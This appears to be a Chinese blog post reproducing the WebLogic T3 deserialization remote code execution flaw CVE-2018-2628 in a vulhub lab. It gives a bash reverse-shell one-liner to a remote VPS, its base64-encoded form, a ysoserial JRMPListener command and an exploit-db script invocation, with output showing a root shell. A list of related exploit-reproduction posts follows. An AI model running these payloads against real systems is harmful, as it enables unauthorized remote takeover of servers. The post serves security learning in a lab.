好久没发新文章了,躲懒了,是时候该更新一篇了,这一篇是关于WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)的复现,该漏洞是weblogic的经典漏洞,而网上有关的复现稍显麻烦且方式有些老旧,特此更新一篇。

Weblogic T3协议反序列化命令执行漏洞介绍:

  Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响范围:  

  Weblogic 10.3.6.0
  Weblogic 12.1.3.0
  Weblogic 12.2.1.2
  Weblogic 12.2.1.3

靶机介绍:

  此次复现使用vulhub中的/vulhub-master/weblogic/CVE-2018-2628中靶场,具体靶场搭建这里就不多赘述了,参考vulhub官网即可。

  开启靶场:docker-compose up -d

vf@vf-virtual-machine:~/vulhub-master/weblogic/CVE-2018-2628$ sudo docker-compose up -d
Creating network "cve20182628_default" with the default driver
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve20182628_weblogic_1 ...
Creating cve20182628_weblogic_1 ... done

  访问ip:7001/console出现如下页面表示靶场搭建成功。这里的ip为192.168.28.136(靶机ip)

漏洞检测:

  使用相应的poc脚本进行检测即可

  poc地址:https://github.com/Aedoo/CVE-2018-2628-MultiThreading

  可见检出漏洞:

漏洞利用:

  注意,该命令执行漏洞没有回显,因此只能对目标机执行代码而无法返回执行结果,所以,这里我们直接进行反弹shell:

  反弹shell payload准备:

bash -i >& /dev/tcp/远端vps-ip/8888 0>&1

  由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:

bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}

  远端vps监听端口:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888

  下载反序列化漏洞利用工具jar文件:ysoserial.jar

  地址:https://github.com/frohoff/ysoserial。按照说明生成jar文件即可。

  远端vps开启JRMP Server端口监听,端口随意,这里设置为38080

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 38080

  出现Opening JRMP listener on 38080即表明jrmp server监听成功。

  到这里,反弹shell的环境就准备完毕,下面下载exp:

  exp地址:https://www.exploit-db.com/exploits/44553

  copy代码,保存为exploit.py

  攻击机payload准备:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

  这里的victim ip/port 为靶机的ip和端口,path to ysoserial为ysoserial.jar文件的路径,因为这个exp会调用这个jar,JRMPListener ip/port为jrmp server服务器的ip和监听的端口,这里端口为38080。JRMPClient有两个选项,为:JRMPClient或JRMPClient2,这里使用JRMPClient。

  最终payload:

python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 远端vps-ip 38080 JRMPClient

  执行exp:

┌──(kali㉿kali)-[~/Desktop/weblogic]
└─$ python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xxx.xxx.xxx.xxx 38080 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient xxx.xxx.xxx.xxx:38080 > payload.out
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
payload: ...
response: ...
...
exploit completed!

  回显exploit completed表明执行完毕,回看vps监听端口可见:

root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888
Connection received on xxx.xxx.xxx.xxx 50634
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@06ff6f667a1a:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
<Middleware/user_projects/domains/base_domain# whoami
root

  反弹shell成功。

  复现完毕。

Weblogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)复现的更多相关文章

  1. JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

    本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...

  2. 企业安全06-Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    CVE-2017-5645 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 一.漏洞原理 Apache Log4j是一个用于Java的日志记录库,其支持启动 ...

  3. Supervisord远程命令执行漏洞(CVE-2017-11610)复现

    Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...

  4. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  5. 利用phar实行php反序列化命令执行漏洞复现

    利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...

  6. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  7. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...

  8. Apereo CAS 4.1 反序列化命令执行漏洞

    命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...

  9. Weblogic命令执行漏洞(CVE-2018-2628)复现

    一.漏洞环境搭建 CVE-2018-2628影响的软件版本为: Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2. ...

  10. Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

    影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Por ...

随机推荐

  1. 2022-04-30:在无限的平面上,机器人最初位于 (0, 0) 处,面朝北方。注意: 北方向 是y轴的正方向。 南方向 是y轴的负方向。 东方向 是x轴的正方向。 西方向 是x轴的负方向。 机器人

    2022-04-30:在无限的平面上,机器人最初位于 (0, 0) 处,面朝北方.注意: 北方向 是y轴的正方向. 南方向 是y轴的负方向. 东方向 是x轴的正方向. 西方向 是x轴的负方向. 机器人 ...

  2. 2023.5.16 总结 AT_abc260_g

    atcoder AT_abc260_g 题意 一个点 O 可以影响到其它点,能影响到的点的坐标满足:(\((u, v)\) 为当前点的坐标,\((x, y) 为能影响到的点的坐标\)) \(u\le ...

  3. .NET 通过源码深究依赖注入原理

    依赖注入 (DI) 是.NET中一个非常重要的软件设计模式,它可以帮助我们更好地管理和组织组件,提高代码的可读性,扩展性和可测试性.在日常工作中,我们一定遇见过这些问题或者疑惑. Singleton服 ...

  4. ET介绍——CSharp协程

    什么是协程 说到协程,我们先了解什么是异步,异步简单说来就是,我要发起一个调用,但是这个被调用方(可能是其它线程,也可能是IO)出结果需要一段时间,我不想让这个调用阻塞住调用方的整个线程,因此传给被调 ...

  5. Python从0到1丨了解图像形态学运算中腐蚀和膨胀

    摘要:这篇文章将详细讲解图像形态学知识,主要介绍图像腐蚀处理和膨胀处理. 本文分享自华为云社区<[Python从零到壹] 四十七.图像增强及运算篇之腐蚀和膨胀详解>,作者: eastmou ...

  6. openlayers Text字体大小设置

    今做一个app版的ol地图,发现区域太小显示拥挤,于是想把字体改小,看起来匀称点,于是盯紧了font属性使劲改 老是不听咋整呢?网上找大佬 于是找到了得到了各路大神鼎力相助 如: 赶紧跑去试试,原来这 ...

  7. python 学习 ---函数(带参数)

    函数式编程最重要的是增强代码的重用性和可读性 1 def 函数名(参数): 2 3 ... 4 函数体 5 ... 函数的定义主要有如下要点: def:表示函数的关键字 函数名:函数的名称,日后根据函 ...

  8. VS code 的安装

    VS code 的安装 Win10环境配置(一)--C\C++篇 Win10环境配置(二) --Java篇 安装前先 ,完成环境的配置 1.工具准备 官网下载:Visual Studio Code 2 ...

  9. 腾讯云 cloudbase 云开发使用笔记

    产品概述 云开发(Tencent CloudBase,TCB)是腾讯云提供的云原生一体化开发环境和工具平台,为开发者提供高可用.自动弹性扩缩的后端云服务,包含计算.存储.托管等 serverless ...

  10. 远程挂载 NFS 共享目录引发死机问题

    集群的存储空间有限,把一些历史的归档数据放在了公司的另外一台老旧存储服务器上,并使用 NFS 把它挂载到了 log 节点.周末的时候机房空调故障,旧存储服务器挂掉了!周一上班,在集群登陆节点使用df ...